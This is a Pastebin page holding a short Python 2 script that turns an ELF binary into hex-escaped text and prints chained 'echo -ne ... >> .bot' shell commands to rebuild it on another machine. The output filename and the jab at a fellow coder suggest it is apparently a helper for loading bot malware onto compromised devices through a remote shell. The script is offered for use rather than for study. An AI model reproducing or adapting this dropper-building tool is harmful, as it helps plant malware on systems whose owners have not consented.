SHARE
TWEET

hexify.py

wtfbbq Aug 25th, 2017 (edited) 944 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #usage python script.py binary > output
  2. #converts ELF to hex
  3. #fixed since LiGhT can't code to save his life
  4.  
  5. import sys,binascii
  6.  
  7. def insert_slashx(string, every=2):
  8.         return '\\x'.join(string[i:i+every] for i in xrange(0, len(string), every))
  9.  
  10. def splitCount(s,count):
  11.         return [''.join(x) for x in zip(*[list(s[z::count]) for z in range(count)])]
  12.  
  13. dogs = '\\x'+insert_slashx(binascii.hexlify(open(sys.argv[1]).read()))
  14. dingle = '" >> .bot\necho -ne "'.join(splitCount(dogs,(128*4))) + '" >> .bot'
  15.  
  16. print 'echo -ne "'+dingle
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top